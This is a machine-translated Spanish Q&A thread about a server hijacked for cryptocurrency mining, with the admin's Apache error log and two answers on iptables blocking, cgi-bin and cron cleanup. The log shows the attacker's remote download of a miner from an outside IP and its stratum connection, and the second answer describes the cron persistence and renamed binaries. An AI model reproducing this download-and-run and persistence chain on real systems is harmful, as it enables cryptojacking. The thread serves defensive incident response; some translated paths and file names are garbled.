Servidor secuestrado/utilizado como minero de bitcoins: ¿cómo puedo detener esto?

Servidor secuestrado/utilizado como minero de bitcoins: ¿cómo puedo detener esto?

Estoy en una situación un poco complicada, mi servidor ha sido secuestrado y parece estar involucrado en una operación de minería de bitcoins.

Necesito saber al menos por dónde empezar, soy un administrador de sistemas novato y realmente no me había encontrado con esto antes. Está agotando mi ancho de banda y mi proveedor de alojamiento me está cobrando 50 centavos por GB y saltó 255 GB -> 301,8 GB en un día debido a esto. Se agradece cualquier ayuda.

Encontré mucha basura en los registros relacionados con Stratum, así como scripts en direcciones IP externas que se ejecutan en mi servidor. Luego miro en mi directorio /tmp y veo 7 archivos que son

  • intento
  • cron.d
  • mech.dir
  • sh
  • spamd_full.sock
  • actualizar

Un ejemplo del contenido de mi registro de errores de Apache es el siguiente:

[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] --2013-11-28 16:27:40--  http://74.208.228.113/sh
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Connecting to 74.208.228.113:80...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] connected.
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] HTTP request sent, awaiting response...
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 200 OK
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Length:
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] 518288
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]  (506K)
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]  [text/plain]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] Saving to: `sh'
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]      0K
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ... .......... ..........  9%  148K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]     50K ........
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] .. .......... .......... .......... .....
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104] ..... 19%  172K 3s
[Thu Nov 28 16:27:40 2013] [error] [client 173.201.45.104]    100K .......... .......... ......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .... .......... .......... 29%  344K 2s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    150K .......
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ... .......... .......... .......... .......... 39%  514K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    200K .........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]  ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ..
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... .......... .......... 49%  347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    250K .......... .......... .......... ........
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] .. .......... 59%  347K 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    300K .......... .......... .......... .......... .......... 69%  224M 1s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    350K .
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ......... .......... .......... .......... .......... 79%  347K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    400K .......... ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ....... .......... .......... .......... 88%  348K 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    450K .......... .......... .......... .......... .......... 98%  254M 0s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]    500K ...
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] ...                                                100% 64.1K=1.5s
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104] 2013-11-28 16:27:41 (328 KB/s) - `sh' saved [518288/518288]
[Thu Nov 28 16:27:41 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:27:58 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] kill: usage: kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] a: line 24: ./bash: No such file or directory
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on bash
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] chattr
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] :
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] Operation not permitted
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104]
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] while setting flags on sh
[Thu Nov 28 16:28:26 2013] [error] [client 173.201.45.104] \r
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] 2 miner threads started, using 'scrypt' algorithm.
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Starting Stratum on stratum+tcp://216.230.103.42:3333
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:28] ...retry after 30 seconds
[Thu Nov 28 16:28:33 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:33] Binding thread 1 to cpu 1
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused
[Thu Nov 28 16:28:58 2013] [error] [client 173.201.45.104] [2013-11-28 16:28:58] ...retry after 30 seconds
[Thu Nov 28 16:29:21 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:21] Binding thread 0 to cpu 0
[Thu Nov 28 16:29:28 2013] [error] [client 173.201.45.104] [2013-11-28 16:29:28] Stratum connection failed: Failed connect to 216.230.103.42:3333; Connection refused

Respuesta1

Primero bloquearía la conexión a las direcciones externas usando iptables.

iptables -A OUTPUT -d IP_Address -j DROP

Una vez que se haya asegurado de que todas las direcciones IP estén bloqueadas, guarde las iptables: # /sbin/service iptables saveluego limpie los archivos colocados por el secuestrador.

Es posible que desees mirar /etc/var/log/messagesy /etc/var/log/securever si el secuestrador dejó alguna entrada que pueda indicar cómo pudo haberse afianzado en tu servidor.

Si está ejecutando un sitio web, asegúrese de no tener ninguna página web que permita a los usuarios cargar archivos como shells PHP.

Esto debería ayudarte a empezar. También puede pedirle a su proveedor de alojamiento que realice un análisis antivirus para buscar scripts/archivos que permitan el acceso.

Respuesta2

Los mineros de sus robots no se conectan, por lo que sigue ejecutando el exploit y descargando los mineros una y otra vez.

Recientemente vimos un intento de explotación de configuraciones incorrectas de cgi-bin que parece relacionado.

Estaba intentando descargar

74.208.228.113 / a 

y ejecutarlo como un script de shell.

Ese script hace algunas cosas cuando lo miramos, borró la entrada crontab y la reemplazó con un intento de ejecutar un script extraído de

74.208.228.113 / update

También coloca el mismo script en /etc/cron.hourly

Ese script hace un 'ps x' y busca una conexión minera exitosa. Si no lo ve, descarga el script nuevamente y lo vuelve a ejecutar.

Al final del guión, aparece

74.208.228.113 / clamav

y

74.208.228.113 / sh

que parecen ser versiones compiladas de manera diferente de minerd. Cambia el nombre del clamav a bash y luego inicia ambas operaciones de minería en 216.230.103.42.

Entonces, si usted fue explotado de manera similar, necesita:

  1. desactivar cgi-bin

  2. verifique en el crontab cualquier usuario que ejecute httpd (probablemente root o apache) y elimine la entrada "actualizar"

  3. verifique /etc/cron.hourly/ para ver si hay un archivo llamado actualización y vea si hace referencia al 216.230.103.42 al que los mineros no pueden conectarse. Borra ese para

Son esas entradas de actualización las que utilizan el ancho de banda. El crontab se ejecuta una vez por minuto, cada minuto.

Sin embargo, creo que una mejor respuesta es bombardearlo desde la órbita. Si su cgi-bin está configurado para permitir exploits remotos que ejecutan scripts, no hay garantía

información relacionada